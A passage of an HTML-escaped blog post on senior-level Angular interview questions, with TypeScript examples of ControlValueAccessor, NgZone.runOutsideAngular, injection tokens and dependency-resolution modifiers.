    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onTouched&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;            &lt;span class="c1"&gt;// mark as touched&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// required from ControlValueAccessor &lt;/span&gt;
  &lt;span class="nf"&gt;writeValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// required from ControlValueAccessor &lt;/span&gt;
  &lt;span class="nf"&gt;registerOnChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onChange&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// required from ControlValueAccessor &lt;/span&gt;
  &lt;span class="nf"&gt;registerOnTouched&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onTouched&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-parent&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ReactiveFormsModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;CustomInputComponent&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;app-custom-input [formControl]="pDataControl" /&amp;gt;
    &amp;lt;p&amp;gt;Parent value: {{ pDataControl.value }}&amp;lt;/p&amp;gt;
  `&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ParentComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;pDataControl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello World&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Control Value Accessor&lt;/strong&gt; looks more complicated and takes time to implement, especially when creating a complex custom part of the form, since it allows integrations with reactive or template driven forms.&lt;/p&gt;

&lt;p&gt;Worth mentioning, that some candidates also bring up using &lt;code&gt;viewChild()&lt;/code&gt; to reference the child component from parent, or using local storage or cookies to pass data, which are valid answers, but I would avoid these solutions in production.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the role of &lt;code&gt;NgZone&lt;/code&gt; in Angular, and when would you opt out of Angular's change detection?
&lt;/h3&gt;

&lt;p&gt;The answer on this question can really demonstrate the candidate skills and the level of projects he has work on. You rarely run code outside of Angular's change detection, you consider it when you run into performance issues.&lt;/p&gt;

&lt;p&gt;NgZone is a wrapper around JavaScript's event loop that allows Angular to know when to trigger change detection. Angular patches async operations like &lt;code&gt;setTimeout&lt;/code&gt;, &lt;code&gt;Promise&lt;/code&gt;, &lt;code&gt;XHR&lt;/code&gt;, etc. using &lt;code&gt;zone.js&lt;/code&gt;, so when those operations complete, Angular automatically runs change detection to update the view. This occasionally leads into performance issues if you're running lots of non UI related or high frequency code (scroll, setInterval). In those cases, you can opt out of Angular's change detection using &lt;code&gt;NgZone.runOutsideAngular()&lt;/code&gt;, and manually re-enter with &lt;code&gt;NgZone.run()&lt;/code&gt; only if needed.&lt;/p&gt;

&lt;p&gt;For a practical example, I include my blogpost - &lt;a href="https://www.angularspace.com/simple-user-event-tracker-in-angular/" rel="noopener noreferrer"&gt;Simple User Event Tracker In Angular&lt;/a&gt;, where I setup some global listeners on button clicks, input or select changes. They do not impact UI bindings, and the code runs in the background, therefore we can run it outside Angular's change detection system. Other options where to reach it for this options include integrating with analytics, tracking, or 3rd-party scripts that are passive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Injectable&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;providedIn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ListenerService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;trackerService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TrackerService&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DOCUMENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;ngZone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;NgZone&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ngZone&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;runOutsideAngular&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;change&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tagName&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;INPUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trackerService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createLog&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
                    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;INPUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;HTMLInputElement&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="p"&gt;});&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;

            &lt;span class="c1"&gt;// others ....&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What is and when to use an Injection Token ?
&lt;/h3&gt;

&lt;p&gt;An &lt;a href="https://angular.dev/api/core/InjectionToken" rel="noopener noreferrer"&gt;InjectionToken&lt;/a&gt; is like a unique identifier or a name tag that Angular uses to locate and provide a specific value or service during dependency injection. You typically use &lt;code&gt;new InjectionToken()&lt;/code&gt; when you want to provide a value that isn't a class such as a configuration object, primitive value, or interface-based dependency.&lt;/p&gt;

&lt;p&gt;One common use case is running initialization logic at the app startup using the &lt;a href="https://github.com/angular/angular/blob/main/packages/core/src/application/application_init.ts" rel="noopener noreferrer"&gt;APP_INITIALIZER injection token&lt;/a&gt; token. While &lt;code&gt;APP_INITIALIZER&lt;/code&gt; is now deprecated, the recommended replacement is the &lt;a href="https://angular.dev/api/core/provideAppInitializer" rel="noopener noreferrer"&gt;&lt;code&gt;provideAppInitializer&lt;/code&gt;&lt;/a&gt; function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;bootstrapApplication&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;providers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nf"&gt;provideAppInitializer&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// init languages&lt;/span&gt;
      &lt;span class="c1"&gt;// get data from cookies&lt;/span&gt;
      &lt;span class="c1"&gt;// setup sentry&lt;/span&gt;
      &lt;span class="c1"&gt;// etc ...&lt;/span&gt;
    &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also define custom injection tokens, commonly used when developing Angular libraries that require configuration from the consuming app. For instance, if your library makes API call and needs to know whether it should call a production or development API, the consumer can provide this value through a token.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// code in the library &lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;API_ENDPOINT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;InjectionToken&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;API_ENDPOINT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// --------------&lt;/span&gt;

&lt;span class="c1"&gt;// in a different application/library&lt;/span&gt;
&lt;span class="nx"&gt;bootstrapApplication&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AppComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;providers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;provide&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;API_ENDPOINT&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;useValue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/prod/api&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What are resolution modifiers and how to use them ?
&lt;/h3&gt;

&lt;p&gt;A great explanation on this topic can be found in &lt;a href="https://www.youtube.com/watch?v=uVGnsmm9g-I" rel="noopener noreferrer"&gt;Decoded Frontend - Resolution Modifiers (2021)&lt;/a&gt;. While the video is slightly dated, but the concepts remain the same. When injecting a service, Angular allows you to configure up to four resolution modifiers via the second argument to the &lt;code&gt;inject()&lt;/code&gt; function. Below is a brief overview of each, focusing on what I typically expect from a senior candidate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SomeService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;skipSelf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Optional()&lt;/strong&gt; is used when the provided service / injection token may or may not be provided by the developer. Example is the &lt;a href="https://github.com/angular/angular/blob/aa52cd41fd94c952cbaa53ae6e1db99f9254871c/packages/core/src/application/application_init.ts#L223" rel="noopener noreferrer"&gt;APP_INITIALIZER Injection token&lt;/a&gt;. When Angular injects this token, it uses &lt;code&gt;inject(APP_INITIALIZER, {optional: true})&lt;/code&gt; , since you, as a developer can, but don't have to provide some executable code when angular initiates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Self()&lt;/strong&gt; forces Angular to resolve the dependency only from the current injector. It won't check parent injectors. This is especially useful in directives that should only operate on the element they're attached to. An example is adding an asterisk to required input fields. You use &lt;code&gt;self&lt;/code&gt; when injecting &lt;code&gt;NgControl&lt;/code&gt;, so it only pulls from the target element:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Directive&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;input[formControlName], input[formControl]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RequiredMarkerDirective&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;ngControl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;NgControl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;

    &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ngControl&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;control&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;hasValidator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Validators&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;required&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Add red asterisk&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Angular itself uses &lt;code&gt;self()&lt;/code&gt; internally, for example in &lt;code&gt;ReactiveFormsModule&lt;/code&gt; or &lt;code&gt;FormsModule&lt;/code&gt; to resolve &lt;a href="https://github.com/angular/angular/blob/aa52cd41fd94c952cbaa53ae6e1db99f9254871c/packages/forms/src/directives/ng_form.ts#L171" rel="noopener noreferrer"&gt;sync and async validators used on the form&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SkipSelf()&lt;/strong&gt; is the opposite of &lt;code&gt;self&lt;/code&gt;. It tells Angular to skip the current injector and look in the parent. This is useful when a directive or component needs to interact with a container element, like a parent form. In the example below, when using the &lt;code&gt;FormControlName&lt;/code&gt; directive on reactive forms, it tries to resolve the &lt;a href="https://github.com/angular/angular/blob/main/packages/forms/src/directives/reactive_directives/form_control_name.ts#L150" rel="noopener noreferrer"&gt;parent form name for the control&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Directive&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[formControlName]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;providers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;controlNameBinding&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;standalone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FormControlName&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;NgControl&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nx"&gt;OnChanges&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;OnDestroy&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;SkipSelf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ControlContainer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ... other injectors&lt;/span&gt;
 &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Host()&lt;/strong&gt; modifier limits resolution to the host component or directive. It prevents Angular from searching up the hierarchy. For instance, if a directive inside &lt;code&gt;FinalComponent&lt;/code&gt; tries to inject &lt;code&gt;FormGroupDirective&lt;/code&gt; using &lt;code&gt;@Host()&lt;/code&gt;, Angular will only look inside &lt;code&gt;FinalComponent&lt;/code&gt;, not any parent components that may contain the actual form.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Directive&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[appHostFormDirective]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;HostFormDirective&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;formGroup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;FormGroupDirective&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

    &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;FormGroupDirective found:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formGroup&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
